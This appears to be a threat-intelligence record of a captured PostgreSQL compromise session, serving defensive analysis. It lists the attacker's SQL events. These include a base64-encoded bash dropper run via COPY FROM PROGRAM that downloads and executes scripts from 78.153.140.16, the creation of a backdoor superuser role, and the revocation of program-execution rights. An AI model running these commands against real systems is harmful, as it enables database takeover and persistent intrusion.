PUB-2026-0305-0015

POSTGRESEvents10BehaviorYesPrimitives7Duration4s

postgres_rce_with_superuser_persistence_and_capability_suppressioncritical

Represents an advanced PostgreSQL compromise chain where an attacker achieves OS command execution via COPY ... FROM PROGRAM, establishes persistent administrative access by creating a new superuser role, and then deliberately revokes the pg_execute_server_program privilege from the default postgres role.

Session Events10 events · 4s

010:05:21authpostgres·md5

110:05:21sqlSHOW server_version

▸ 1 field

210:05:21sqlCREATE TABLE rffIkxiO(cmd_output text)

▸ 1 field

310:05:21sqlDROP TABLE IF EXISTS rffIkxiO

▸ 1 field

410:05:21sqlSELECT * FROM rffIkxiO

▸ 1 field

510:05:21sql

COPY rffIkxiO 
FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuMTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuMTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjE2L3BnMi5zaHxiYXNoCmZp|base64 -d|bash'

▸ 1 field

610:05:21sqlDROP TABLE IF EXISTS rffIkxiO

▸ 1 field

710:05:21sqlSELECT * FROM pg_catalog.pg_user WHERE usename='pgg_superadmins'

▸ 1 field

810:05:21sqlCREATE ROLE pgg_superadmins WITH LOGIN SUPERUSER PASSWORD '[...]'

▸ 1 field

910:05:24sqlrevoke pg_execute_server_program from postgres

▸ 1 field

Matched Primitives

ID	Protocol	Events	Behavior	Primitives	Duration
PUB-2026-0305-0037	POSTGRES	3	Yes	2	0s
PUB-2026-0305-0036	POSTGRES	8	Yes	7	2s
PUB-2026-0305-0016	POSTGRES	9	Yes	6	21s